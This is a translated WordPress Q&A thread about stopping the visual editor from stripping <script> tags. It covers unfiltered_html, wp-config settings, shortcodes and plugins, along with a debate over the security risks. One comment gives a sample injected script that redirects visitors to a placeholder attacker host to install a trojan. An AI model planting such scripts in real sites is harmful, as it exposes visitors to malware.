Как остановить WordPress от удаления тегов <script> при переключении с HTML на Визуальный редактор (TinyMCE)
Хорошо, я видел решения, которые частично устраняют эту проблему, но ничего окончательного и ничего, что на 100% решает мою проблему.
Сценарий:
- В режиме HTML я добавляю JavaScript в редактируемую запись.
- Я переключаюсь на Визуальный режим, затем обратно в HTML, и тег <script> вместе со всем его содержимым исчезает.
Как остановить это? Я пытался добавить пользовательский код в functions.php, пытаясь получить доступ к extended_valid_elements для TinyMCE, но ничего не работает.
Пожалуйста, помогите!
Это можно довольно легко сделать, предоставив возможность unfiltered_html
для любой роли, которой вы хотите разрешить использование тегов SCRIPT и IFRAME. Очевидно, как уже отмечали другие, это несёт в себе определённые риски безопасности, поэтому подходите к этому осмотрительно.
Чтобы узнать больше о предоставлении возможностей, см. запись в WordPress Codex о функции add_cap().

Добавление JavaScript прямо в контент — это очень, очень плохая практика, которая просто приглашает взломщиков.
Лучше используйте шорткод, а если очень нужно, сохраняйте JS в произвольных полях (post meta/custom fields) и выводите его после контента в шаблоне с помощью echo get_post_meta($post->ID,'post_javascript',true );

Том, думаю, будет очень полезно, если ты сможешь привести конкретные доказательства, почему это плохая практика и почему это приглашение для хакеров!

потому что любой может вставить что угодно в ваш контент — будь то код, заставляющий ссылки мигать, или скрипт для скрытой загрузки вредоносного ПО. Любой, кто имеет доступ к вашей базе данных или права на редактирование записей, может использовать ваш сайт для распространения вредоносного JavaScript

Это также смешивает контент/данные с функциональностью/контроллерами и делает ваш контент непереносимым между темами, так как смена темы может сломать содержимое.

например: "Привет, это мой первый пост в блоге! <script>window.location="www.hackme.com/installtrojan";</script>"

Я бы сказал, что "любой, у кого есть доступ к вашей базе данных или права на редактирование записей", может испортить вам день в любом случае, и реализация этого через шорткод или мета-данные записи не даст никакой разницы в безопасности. Также я не вижу, чтобы шорткоды или мета-данные записей разделяли контент/данные и функциональность/контроллеры больше, чем то, о чем спрашивает @Buckers. Думаю, это хорошая стандартная практика для WordPress, не поймите меня неправильно, но лично я не вижу вреда в переопределении этого поведения при осознанном согласии, равно как и не вижу преимуществ в безопасности или ортогональности в том, что вы предлагаете. Но, возможно, я что-то упускаю?

С шорткодом я не могу просто вставить любой старый JS, я могу вставить только тот JS, который вы предполагаете, так как для добавления нового JS-кода мне потребуется доступ к PHP-файлам, реализующим этот шорткод. По той же причине добавление PHP в контент записи является ужасной практикой с точки зрения безопасности, но это не означает, что вы не можете использовать PHP для реализации шорткодов (я вовсе не выступаю за реализацию шорткодов вида [js][/js]
, они тоже плохие)

Ах, извините, я неправильно истолковал ваше предложение. Теперь я понял: вы говорите об использовании шорткодов или метаданных записи для сбора параметров, а не самого JS, например, указания ID, URL изображения и т.д. Вы правы, ответ кардинально меняется в зависимости от того, чего именно хочет добиться @Buckers!

Я добавил ответ к своему первоначальному сообщению с основным требованием. В настоящее время только у меня есть доступ администратора к сайту. Несмотря на проблемы безопасности, мне просто хотелось бы знать, возможно ли это сделать - и судя по ответу, похоже, что да.

Это возможно, так же, как и управлять автомобилем, взрывая его сзади для движения вперед, или пропускать большие посылки через почтовый ящик, сняв входную дверь. Если вам нужен простой способ вставки произвольных кодов AdSense в контент, есть гораздо более эффективные методы. Ищите решение вашей проблемы, а не заплатку для вашего сломанного решения.

Без необходимости возиться с PHP-кодом шаблонов, вы можете обойти проблему, описанную в оригинальном посте, а также проблему, когда в мультисайтах никто, кроме супер-администратора, не получает возможность unfiltered_html
, упомянутую @Tom Auger, установив плагин "Shortcoder". Он позволяет создавать "пользовательские шорткоды", которые просто выводят некоторый текст. Это может быть что угодно, включая JavaScript.
Я создаю "пользовательский шорткод" для каждого фрагмента кода, который мне нужен (обычно один для каждого уникального пользовательского кода на странице), и визуальный редактор видит этот шорткод и не удаляет его.
Это также отличное решение для повторного использования JavaScript-кода, если у вас есть несколько страниц, которым нужен один и тот же (или похожий) код.

Это звучит очень небезопасно для мультисайта (все, что позволяет вводить нефильтрованный HTML, является таковым), и в любом случае, похоже, больше не поддерживается автором.

@MarkKaplun - Не уверен, почему вы говорите, что плагин не поддерживается. Он не обновлялся недавно, но, скорее всего, потому что автор занят другими делами (см. его сообщения в других форумах). В любом случае, он отлично работает на версии 4.7.

Что касается безопасности - я часто вижу здесь ответы вроде "это или то небезопасно, поэтому не делайте так". Думаю, отвечающие должны прекратить навязывать свою модель безопасности другим пользователям. Если администратор решил установить плагин и сделать его доступным, я предполагаю, что он учел вопросы безопасности. В моей WPMS-установке все пользователи доверенные (я создаю их вручную), поэтому если я выбираю сделать плагин Shortcoder доступным, это значит, что я рассмотрел вопросы безопасности, и они в порядке. Ожидаю, что большинство WPMS-установок относятся к той же категории.

99,9% пользователей WordPress не имеют ни малейшего понятия о последствиях для безопасности своих действий. Пользователям никогда нельзя доверять, проблема в том, что вы осознаете это только постфактум, когда восстановиться будет крайне сложно.

Что касается плагина - если автор не удосужился обновить файл readme, указав совместимость с версией, выпущенной 3 месяца назад, это хороший индикатор того, что он потерял интерес к разработке плагина.

Поскольку установка WPMS настолько сложна (требуется редактирование нетривиальных конфигурационных файлов), я склонен утверждать, что уровень администраторов WPMS несколько выше среднего редактора WP. В лучшем случае вы можете объяснить последствия для безопасности (кстати, вы так и не объяснили, почему считаете Shortcoder проблемой для мультисайтов). Что касается поддержки - я считаю ваши выводы несколько натянутыми - лично я поддерживаю несколько плагинов WordPress и у меня обычно нет времени тестировать их на каждой новой версии WordPress, иногда даже раз в год.

И просто для вашего понимания, почему пользователям не доверяют, даже если вы знаете их лично... Вы действительно уверены, что они не используют пароль "123456"? Разрешают ли они своему племяннику пользоваться их компьютером и т.д.? Вы ограничиваете пользователей не потому, что они могут быть плохими людьми, а чтобы минимизировать векторы для нарушения безопасности, которое повлияет не только на их аккаунт.

Давайте продолжим это обсуждение в чате.

По состоянию на 2024 год вы можете разрешить нефильтрованный HTML в файле wp-config.php, установив DISALLOW_UNFILTERED_HTML в false следующим образом:
define( 'DISALLOW_UNFILTERED_HTML', false );
Что касается вопросов безопасности: Включение нефильтрованного HTML путем установки DISALLOW_UNFILTERED_HTML в false требует доверия к вашим администраторам и осведомленности о безопасности, так как это позволяет им вставлять потенциально вредоносный код. Однако, если хакер получит доступ к вашему WordPress, последствия для безопасности будут серьезными независимо от этого параметра.

Также есть решение для тех, у кого установлен плагин Elementor и кто не хочет устанавливать дополнительные плагины:
- В админ-меню перейдите в раздел Шаблоны > Добавить новый
- Выберите тип шаблона "Контейнер" и дайте ему любое подходящее название, чтобы позже можно было легко найти ваш код для редактирования (если потребуется).
- На экране редактора Elementor нажмите на знак +, чтобы добавить контейнер, и поместите внутрь виджет HTML-кода.
- Вставьте ваш скрипт в HTML-блок. (Обратите внимание, что он должен быть заключен в теги
<script></script>
) - Сохраните и вернитесь к списку контейнеров. (Шаблоны > Сохраненные шаблоны > Контейнеры)
- Найдите только что созданный шаблон и скопируйте его шорткод из соответствующего поля.
- Вставьте этот шорткод в любой текстовый редактор и наслаждайтесь.
